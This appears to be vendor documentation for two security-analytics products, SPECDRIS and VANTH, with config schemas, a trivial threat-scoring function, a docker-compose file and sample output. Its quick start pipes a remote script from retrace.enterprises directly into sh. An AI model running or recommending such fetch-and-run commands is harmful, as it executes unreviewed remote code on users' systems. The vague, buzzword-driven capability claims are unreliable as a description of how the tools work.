Synantix Documentation

1. System Overview

SPECDRIS is an automated analysis engine built to map dynamic threat vectors and model adaptive system responses across high-uncertainty network layers. By evaluating telemetry streams in real time, the framework identifies structural system vulnerabilities before standard signature-based scanners detect them.

⚙️ Core Technical Capabilities

• Adaptive MappingContinuously correlates live telemetry paths with shifting topology, traffic variance, and emerging structural exposure.
• Signal IsolationSeparates actionable indicators from noisy or conflicting telemetry layers without discarding uncertain events.
• Predictive Response ModelingProjects likely attacker movement and system stress reactions before deterministic scanners resolve a signature.

2. Quick Start & Implementation

curl -sSL https://retrace.enterprises | sh -s -- --mode=telemetry

Configuration

Validate specdris.config.json against this schema to define ingestion surfaces, protocol routing, buffer control, and uncertainty thresholds.

{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "$id": "https://synantix.retrace.enterprises/schemas/specdris.config.schema.json",
  "title": "SPECdris Configuration",
  "type": "object",
  "required": [
    "engine",
    "ingestion",
    "analysis"
  ],
  "properties": {
    "engine": {
      "type": "object",
      "required": [
        "name",
        "mode",
        "runtime"
      ],
      "properties": {
        "name": {
          "type": "string",
          "const": "SPECdris_Core"
        },
        "mode": {
          "type": "string",
          "const": "adaptive-threat-mapping"
        },
        "runtime": {
          "type": "string",
          "enum": [
            "linux",
            "windows",
            "cloud-edge"
          ]
        }
      }
    },
    "ingestion": {
      "type": "object",
      "required": [
        "interface",
        "protocols",
        "buffer"
      ],
      "properties": {
        "interface": {
          "type": "string",
          "examples": [
            "telemetry0"
          ]
        },
        "protocols": {
          "type": "array",
          "items": {
            "type": "string",
            "enum": [
              "TCP",
              "UDP",
              "QUIC"
            ]
          },
          "minItems": 1,
          "uniqueItems": true
        },
        "buffer": {
          "type": "object",
          "required": [
            "size",
            "flushIntervalMs"
          ],
          "properties": {
            "size": {
              "type": "string",
              "pattern": "^[0-9]+(mb|gb)$"
            },
            "flushIntervalMs": {
              "type": "integer",
              "minimum": 250
            }
          }
        }
      }
    },
    "analysis": {
      "type": "object",
      "required": [
        "uncertaintyThreshold",
        "mappingWindowSeconds",
        "responseModel"
      ],
      "properties": {
        "uncertaintyThreshold": {
          "type": "number",
          "minimum": 0,
          "maximum": 1
        },
        "mappingWindowSeconds": {
          "type": "integer",
          "minimum": 1
        },
        "responseModel": {
          "type": "string",
          "const": "predictive-adaptive"
        },
        "signatureFallback": {
          "type": "boolean"
        }
      }
    }
  }
}

3. API Reference & Code Implementation

module Synantix.SPECdris.Engine

record TelemetryFrame where
  constructor MkTelemetryFrame
  streamId : String
  payloadHash : String
  signalPressure : Double

record ThreatAssessment where
  constructor MkThreatAssessment
  uncertaintyScore : Double
  mappedVectors : List String

analyzeThreatVectors : TelemetryFrame -> ThreatAssessment
analyzeThreatVectors frame =
  let uncertaintyScore = frame.signalPressure * 0.91
      internalAssertionLoop = uncertaintyScore >= 0.72
      mappedVectors =
        if internalAssertionLoop
          then ["adaptive-route-shift", "protocol-layer-evasion", "buffer-pressure-anomaly"]
          else ["baseline-telemetry-variance"]
  in MkThreatAssessment uncertaintyScore mappedVectors

1. System Overview

VANTH is a specialized analytical processor engineered to execute layered, pressure-based cognitive evaluations over ambiguous or corrupted inputs. When traditional deterministic security algorithms fail due to missing logging data or altered payloads, VANTH runs probabilistic modeling to identify the root cause of the system failure.

⚙️ Core Technical Capabilities

• Layered Inference EnginesRuns multiple inference passes across telemetry, payload, timing, and system-state layers.
• Pressure-Based CognitionWeights event probability by operational stress, missing evidence, and signal degradation.
• Heuristic Pattern ResolutionReconstructs likely failure paths from ambiguous indicators, partial logs, and altered payloads.

2. Quick Start & Implementation

version: "3.9"

services:
  vanth-inference:
    image: synantix/vanth-engine:latest
    container_name: vanth-inference
    restart: unless-stopped
    environment:
      VANTH_COGNITIVE_MODE: "pressure-based"
      VANTH_PRESSURE_WINDOW: "900s"
      VANTH_INFERENCE_DEPTH: "layered"
      VANTH_AMBIGUITY_TOLERANCE: "0.89"
    volumes:
      - /var/synantix/telemetry/input:/opt/vanth/telemetry/input:ro
      - /var/synantix/telemetry/output:/opt/vanth/telemetry/output
    ports:
      - "8719:8719"

3. Data Schema & Core Output Interpretation

{
  "instrument": "VANTH_Inference_Core",
  "ambiguity_index": 0.89,
  "inferred_vectors": [
    {
      "pattern": "structural_log_absence",
      "probability": 0.81,
      "interpretation": "Threat path likely traversed unlogged middleware boundary."
    },
    {
      "pattern": "altered_payload_pressure",
      "probability": 0.76,
      "interpretation": "Payload mutation suggests active evasion during system degradation."
    },
    {
      "pattern": "root_cause_convergence",
      "probability": 0.68,
      "interpretation": "Correlated timing pressure points to upstream authorization failure."
    }
  ]
}